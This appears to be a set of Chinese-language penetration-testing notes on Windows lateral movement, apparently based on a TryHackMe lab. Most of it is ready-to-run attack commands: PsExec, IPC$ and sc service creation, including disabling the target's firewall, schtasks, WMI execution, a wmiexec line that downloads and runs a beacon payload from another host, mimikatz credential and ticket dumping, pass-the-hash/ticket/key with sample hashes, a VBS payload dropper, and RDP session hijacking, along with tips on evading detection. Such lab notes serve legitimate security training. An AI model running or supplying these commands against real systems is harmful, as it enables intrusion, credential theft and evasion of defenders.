横向移动
横向移动
攻击者获得对网络第一台计算机的访问权后, 在整个网络中移动, 以便访问受害组织的敏感信息和用户信息
例如, 通过横向移动进行侦察可以帮助网络攻击者了解如何加密或泄露敏感数据, 具体取决于哪些机器传输的信息量最大 它还可以揭示网络上的哪些机器可能持有帐户或子网数据, 如何提升权限以获得管理或系统访问权限, 或者密码可能存储在何处
非常常用, 因为可以了解有关受害组织网络的大量信息, 即使在一台设备上被检测到, 也可以继续通过该网的其他设备继续攻击
我们可以使用标准管理协议(例如 WinRM、RDP、VNC 或 SSH)连接到网络上的其他计算机 必须注意不要尝试可疑的连接, 尝试藏在正常的连接中
¶管理员和UAC
用户帐户控制 (UAC), 就是那个点安装包会屏幕变暗弹出窗口的那个程序
UAC在默认情况下限制本地管理员权限, 对于远程连接执行管理任务的情况, 本地管理员账户不能直接进行,除非通过远程桌面协议(RDP)进行交互式会话, 唯一能够获得全权限的本地账户是默认的管理员账户, 启用后不受UAC的限制 而拥有本地管理权限的域账户, 这些域账户登录的时候也会得到完全的管理权限, 不受UAC的限制
创建远程会话
已知凭证的前提下, 可以利用凭证移动
¶psexec登录
在有权访问的PC上远程运行命令, 躲避检测无视杀毒软件, 直接system权限
445/TCP端口开放(SMB服务) 知道管理员账号密码(组成员身份为管理员)
¶PsExec.exe工具
runas /netonly /user:SUN\users cmd.exe // 凭据注入(runas命令) |
/netonly
是一个参数,表示你提供的用户凭据只用在网络验证中,本地登录还是使用你当前的用户身份
SUN\users
最好是拥有管理员身份的组成员(未验证)
PsExec.exe /s cmd // 本地提权, 直接system权限 |
¶Metasploit的psexec模块
已知管理员凭据
use exploit/windows/smb/psexec |
未知凭据用密码喷洒
use exploit/windows/smb/psexec |
密码喷洒指的是用一个密码对多个账号对目标进行枚举爆破,躲避密码输入错误过多导致封锁账号
还有impacket套件, cs插件-psexec, smbexec.py
¶IPC$连接
net use \\target_ip /u:user passwd |
可以查看文件, 可以上传文件, 甚至可以用sc命令
copy b.exe \\target_ip\C$\tmp // 复制到目标机 |
¶sc命令
135/TCP 139/TCP 445/TCP 已知组成员身份为管理员的账号密码
¶smbclient上传文件
木马制作并上传
smbclient //10.10.101.3/share -U smbuser |
进入后可以用put 1.txt
上传文件
¶运行服务指定文件
通常和反弹shell一起用
sc \\10.200.48.201 create badservice binPath= "C:\tmp\a.exe" start= auto |
¶关闭对面防火墙
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" |
¶schtask命令(计划任务)
win版本大于2008 必须要管理员
schtasks /s target_ip /U user /P passwd /RU "SYSTEM" /create /tn "任务名" /tr "1.exe" /sc minute /mo 1 |
使用WMI横向移动
WMI, 即Windows Management Instrumentation, 可以用于管理Windows系统和网络环境, 它支持远程操作, 因此在一些场景下常被用作横向移动的方法, 其通过135端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹
使用WMI可以用PowerShell连接,或者直接用wmic命令(cmd)
¶远程创建进程
135/TCP 5985/TCP或5986/TCP (WinRM HTTP/HTTPS) 已知管理员用户名和密码
wmic /user:SUN\user /password:passwd /node:10.200.48.201 process call create "cmd.exe /c 1.exe" |
远程创建服务
wmic /node:"<目标机器的IP地址>" /user:"<用户名>" /password:"<密码>" service call create "<服务名>", "<完整路径到可执行文件>" |
安装MSI包
wmic /node:"<目标机器的IP地址>" /user:"<用户名>" /password:"<密码>" product call install true,"" ,"<MSI包的完整网络路径>" |
远程创建计划任务(wmis不直接支持)
wmiexec-impacket工具
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe & c:/beacon.exe" |
票据传输
原理: NTML验证和Kerberos验证
¶mimikatz工具
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege(20) c0000061 Mimikatz试图提升自身的特权,但没有成功。错误信息"RtlAdjustPrivilege(20) c0000061"中的"20"表示"SeDebugPrivilege",也就是调试特权,“c0000061"代表"试图进行的操作不被允许”
权限不够?扬了! PowerShell执行如下命令
Start-Process powershell -Verb runAs |
提升当前进程的调试特权
privilege::debug |
¶票据收集
lsadump::sam // 本地用户哈希值 |
传递方式共三种,PTH,PTT,PTK
¶PTH(传递哈希)
¶NTLM哈希注入
通过票据收集得到的哈希值可以进行登录
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM的哈希值 /run:"执行的命令" |
然后就可以在弹出窗口内读数据啥的
¶winrs
为什么叫做移动到目标机子?
也可以使用winrs而不指定任何凭据, 并且它将使用当前会话可用的凭据
winrs.exe -r:THMIIS.za.tryhackme.com cmd |
然后就是sc,IPC$等
¶PTT(传递票据)
mimikatz可以查看和修改票据
kerberos::list |
单纯用cmd也行
klist |
在没有票据的时候可以看见,不能列出目标机子的文件,原因是没有票据 TGT
¶票据注入
导出票据, 通常需要 SYSTEM 权限
sekurlsa::tickets /export |
得到的文件会非常长
[0;97d82]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi |
大多数时候, 我们只需要TGT票据, 因为它们可用于请求访问允许用户访问的任何服务, TGS仅适用于特定服务
注入TGT:
// 都在mimikatz执行 |
使用winrs命令, 它将自动已有的票据注入到命令中
winrs -r:target cmd |
然后就可以执行命令了
¶PTK(传递密钥)
和PYH类似, 但是适用于Kerberos验证
¶原理
当用户请求TGT时, 他们会发送使用从其密码派生的加密密钥加密的时间戳, 用于派生此密钥的算法具体取决于安装的 Windows 版本和 Kerberos 配置
如果我们拥有这些密钥中的任何一个, 我们可以向 KDC 请求 TGT, 而无需实际密码, 因此名称为“传递密钥”(PTK)
mimikatz抓取密钥
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::ekeys" "exit" > log.txt |
关注点主要是 RC4 哈希、AES128 哈希 、AES256 哈希
如果有RC4 哈希
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"cmd.exe" |
如果是AES256 哈希
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /aes256:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"cmd.exe" |
如果是AES128 哈希
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /aes128:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"cmd.exe" |
然后执行命令确认,随后可以移动到对方的机子
滥用用户行为
攻击者发现全局可写共享 攻击者发现允许访问可写共享的凭据
¶VBS脚本
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\MY-IP\share_name\payload.exe %tmp% & %tmp%\payload", 0, True |
¶EXE后门
就是放个msf木马顶替正常exe文件
¶RDP劫持
当管理员使用远程桌面连接到计算机并关闭RDP客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态 如果在Windows Server 2016及更早版本上拥有系统权限,则无需密码即可接管任何现有RDP会话
先用任何方法获取SYSTEM权限
列出服务器现有会话
>query user |
如果要移动到 t1_body.beck 用户会话,可以使用以下命令
tscon 5 /dest:rdp-tcp#18 |
执行whoami验证即可